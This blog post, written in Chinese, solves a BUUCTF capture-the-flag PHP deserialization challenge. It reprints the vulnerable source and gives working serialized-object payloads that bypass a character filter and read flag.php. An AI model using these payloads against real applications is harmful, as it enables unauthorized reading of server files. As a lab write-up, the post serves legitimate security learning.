当前位置: 首页 > news >正文

BUUCTF在线评测-练习场-WebCTF习题[网鼎杯 2020 青龙组]AreUSerialz1-flag获取、解析

解题思路

打开靶场,贴有源码

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

结合题目、源码可以知道主要是是反序列化漏洞。

下面分析核心源码。

首先,前面就直接包含了我们感兴趣的php文件flag.php,并且定义了保护类型的三个变量,保护类型只有类自己能访问。

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;

这里只有__construct方法__destruct方法两个魔术方法和反序列化有关

 function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}

类的构造方法,在实例化时自动调用,这里赋值、并调用了process方法:

    public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}

当op为1时,执行写方法write(),当op为2时执行读方法,并输出所读内容,都不等于那么就输出类似报错的东西。这里前面构造方法自动调用赋值op=1,因此会执行写方法。

private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}

 写方法先确认文件名和内容的存在,并且判断内容长度,如果大于100就报错,否则就写入数据。

private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}

读方法就是确认文件名是否存在,然后读取内容。

private function output($s) {echo "[Result]: <br>";echo $s;}

 output方法就是输出内容。

function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}

最后是,类的析构方法,在类的实例化被销毁时、或者类被引用销毁时会自动调用。

这里,销毁时如果op==="2",就让op恢复成1。

这里需要注意使用了强类型等于,必须值、类型相同,而这里类型是字符串,所以我们输入整数2即可绕过该恢复。所以,这里就是注入点了。绕过后,后面即可调用process方法。

再看看后续代码

function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

 is_valid方法,使用ord方法,ord是让字符转义成ASCII值的形式,这里还要求必须大于32小于125,也就是我们的字符串中只能包含这些允许的字符,需要进行绕过。

后面就是get获取一个str参数,并用is_valid方法过滤,绕过后即可进行反序列化操作。

目标:利用op=2,调用process中的read,读取flag.php文件,思路总结:

1. 构造函数无法利用,实例化时自动调用,序列化反序列化都无法再次利用。

2. 析构函数可以利用,输入op=整数2即可绕过强类型判断,那如何调用析构函数?

序列化时并不会被调用。

而是,第一是在实例化结束后会被调用,这里无法利用。

那么只有第二种:反序列化得到的是对象,用完后会销毁,触发析构函数。

那么现在我们要序列化然后进行反序列化。

序列化我们可以php执行即可,反序列化需要绕过is_valid方法。

3.最终总结,制造payload,绕过is_valid方法读取flag.php文件

先制造基础版payload:

<?phpclass FileHandler {protected $op = 2;protected $filename ='flag.php';         protected $content;}
$FileHandler = serialize(new FileHandler);echo $FileHandler;                                           ?>

定义op等于2,读取的文件名为flag.php,content无需赋值,因为用不到,然后实例化,序列化,输出:

 我们可以看到有不可打印字符,这是因为protected类型对象的原因,这种不可打印字符ASCII为0,但是is_valid方法需要大于32小于125,即无法绕过,这里有两种解决办法:

先介绍比较简单的,那就是不用protected类型,将变量类型改变成公共变量

<?phpclass FileHandler {public $op = 2;public $filename ='flag.php';         public $content;}
$FileHandler = serialize(new FileHandler);echo $FileHandler;                                           ?>

 输出

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

payload: 

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

在源码中,成功获取flag:

 

第二种方法比较难以理解,也不太能想到

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

 将不可见字符,替换成\00,并将小s替换成大S。

为什么要替换成\00?

下面是属性的序列化格式。

属性权限序列化格式
public直接写属性名
protected\x00*\x00属性名
private\x00类名\x00属性名

因为不可见字符会被解析成NULL即\x00,转换为ASCII为0,那么就不能通过is_valid的检测。

为什么\00可以替换\x00?

因为我们将s替换成了大S,序列化后的大S,可以支持十六进制解析,那么\00就是代表NULL。

也就是说\00=\x00,仍然可以解析成正常的属性。

那NULL不是还是ASCII绕不过吗?

重点来了,虽然解析是NULL,但是,这里is_valid,是把序列化后的数据,当作字符串来处理的,所以不会将\00解析成NULL,也就不会ASCII=0,那么就绕过is_valid了。

完整payload:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

也是可以获取flag

总结

一道比较进阶的反序列化漏洞把

第一个解题方法是利用php版本问题,对属性不敏感,所以可以更改

第二个解题方法比较难想吧,了解即可。

http://www.dtcms.com/a/267319.html

相关文章:

  • 【Flask】flask中get方法和post方法区别
  • CMake基础:条件判断详解
  • openai和chatgpt什么关系
  • 单用户模式、紧急模式、救援模式有什么区别
  • 动手学深度学习-学习笔记【二】(基础知识)
  • 若 VSCode 添加到文件夹内右键菜单中显示(通过reg文件方式)
  • 在 Windows 上安装和运行 Apache Kafka
  • Android Input 系列专题【事件的读取与分发】
  • 在SSM+vue项目中上传表单数据和文件
  • android开发中的 AndroidX 版本的查看 及 constraintLayout的简单用法
  • 【性能优化】程序性能优化:疏通胜于堵塞
  • 【Elasticsearch】检索高亮
  • 成为git砖家(12): 看懂git合并分支时冲突提示符
  • HTML初学者第三天
  • hono框架绑定cloudflare的d1数据库操作步骤
  • Redis基础的介绍与使用(一)(Redis简介以及Redis下载和安装)
  • Git 版本控制完全指南:从入门到精通
  • 【Halcon】WPF 自定义Halcon显示控件完整流程与 `OnApplyTemplate` 未触发的根本原因解析!
  • Web3 Study Log 003
  • 蓝牙墨水屏上位机学习(3)
  • Java 与 Vue 全栈开发:“一课一得“ 学习笔记系统实战
  • OneCode图表配置速查手册
  • CMake是什么
  • NV183NV185美光固态闪存NV196NV201
  • 供应链管理-采购管理:国际贸易及支付领域中常见的支持方式
  • FLUX.1-Kontext 高效训练 LoRA:释放大语言模型定制化潜能的完整指南
  • 软件版本FCCU(故障采集与控制单元)设计
  • 如何选择不会降低网站速度的WordPress主题
  • 动手实践OpenHands系列学习笔记11:现代开发流程
  • C#指针:解锁内存操作的底层密码